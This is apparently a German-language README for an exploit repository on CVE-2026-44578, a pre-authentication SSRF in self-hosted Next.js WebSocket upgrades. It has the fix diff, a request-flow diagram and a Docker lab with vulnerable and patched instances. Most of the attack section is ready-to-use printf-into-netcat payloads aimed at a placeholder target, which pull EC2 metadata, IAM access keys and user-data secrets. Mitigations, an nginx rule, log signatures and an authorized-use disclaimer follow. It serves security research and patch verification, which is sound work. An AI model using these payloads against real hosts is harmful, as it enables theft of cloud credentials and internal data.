
CVE-2026-44578: Next.js WebSocket Upgrade SSRF — Credential-Diebstahl vor der Authentifizierung über localhost:80. Lab + Exploit + Audit.
Server-Side Request Forgery ohne Authentifizierung in selbst gehosteten Next.js-Bereitstellungen.
Eine einzige manipulierte HTTP-Anfrage extrahiert AWS-Zugangsdaten, Geheimnisse und interne Daten von Diensten aus localhost:80.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Typ | SSRF (CWE-918) |
| Betroffen | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (nur selbst gehostet) |
| Behoben | 15.5.16, 16.2.5 |
| Authentifizierung erforderlich | Keine |
| Benutzerinteraktion | Keine |
Der WebSocket-Upgrade-Handler in router-server.ts ruft proxyRequest() auf, sobald parsedUrl.protocol wahr ist — ohne die Routing-Abschluss-Flags finished und statusCode zu prüfen, die der HTTP-Handler bisher immer erzwungen hatte.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
Nachdem normalizeRepeatedSlashes http:/// zu http:/ zusammengeführt hat, ist der Hostname null und http-proxy verbindet sich mit dem korrekten Pfad zu localhost:80. Jeder dort parallel laufende Dienst (Cloud-Metadaten, Admin-Panels, interne APIs) ist exponiert.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlkann keine URIs in absoluter Form senden. Verwenden Sie rohes TCP:nc,ncat,socatoder Python-Sockets.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Dadurch werden 5 Container gestartet:
Die IMDS-Sidecars verwenden network_mode: "service:nextjs-*", sodass sich der simulierte Metadatendienst innerhalb des Next.js-Containers auf localhost:80 befindet — als Nachbildung einer echten Cloud-Instanz.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Alle Container laufen — verwundbare Instanz (15.5.15) auf :3000, gepatchte Instanz (15.5.16) auf :3001, IMDS-Sidecars mit geteilten Netzwerk-Namespaces.
Eine einzelne Anfrage gibt das vollständige EC2-Metadatenverzeichnis zurück (ami-id, instance-id, iam/, placement/, usw.).
Vollständiger IAM-Zugangsdatensatz: AccessKeyId, SecretAccessKey, Token und Expiration.
EC2-User-Data-Bootstrap-Skript, das DB_PASSWORD und API_KEY enthält.
Instanz-ID über denselben SSRF-Vektor extrahiert.
Dieselbe Payload gegen Next.js 15.5.16. Verbindung wird sofort geschlossen — keine Daten zurückgegeben.
Die simulierten IMDS-Logs zeigen GET-Anfragen von 127.0.0.1 (dem Next.js-Prozess), was beweist, dass die SSRF serverseitig ist.
Alle 7 SSRF-Tests liefern auf der verwundbaren Instanz sensible Daten zurück.
Alle 7 Tests wurden auf der gepatchten Instanz blockiert. Fix bestätigt.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Ersetzen Sie T durch den Zielhost und ROLE durch den IAM-Rollennamen.
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
Auf AWS: IMDSv2 erzwingen (HttpTokens=required).
Log-Signaturen:
Failed to proxy http:/ — Proxy ausgelöst, aber Ziel nicht erreichbarhttp:///path-Variante erzeugt keinen Fehler-Log-Eintrag — überwachen Sie WebSocket-Upgrades mit http: in der AnfragezeileNur für autorisierte Sicherheitstests, Ausbildung und defensive Forschung. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben.
| Container | Rolle | Erreichbar |
|---|
nextjs-vuln | Next.js 15.5.15 (verwundbar) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (gepatcht) | localhost:3001 |
imds-sidecar-vuln | Simulierter AWS-IMDSv1-Dienst, teilt Netzwerk mit verwundbarer Instanz | localhost:80 (aus Sicht der verwundbaren Instanz) |
imds-sidecar-fixed | Simulierter AWS-IMDSv1-Dienst, teilt Netzwerk mit gepatchter Instanz | localhost:80 (aus Sicht der gepatchten Instanz) |
internal-api | Mock eines internen Dienstes | — |
| Einschränkung | Detail |
|---|
| HTTP-Methode | Nur GET |
| Ziel | localhost:80 (Hostname durch Normalisierung entfernt) |
| AWS IMDSv2 | Nicht ausnutzbar (erfordert PUT) |
| GCP-Metadaten | Nicht ausnutzbar (lehnt Upgrade-Header ab) |
| Vercel-gehostet | Nicht betroffen |
| Hinter Reverse-Proxy | nginx/Caddy/HAProxy blockieren URIs in absoluter Form |
| Quelle | Link |
|---|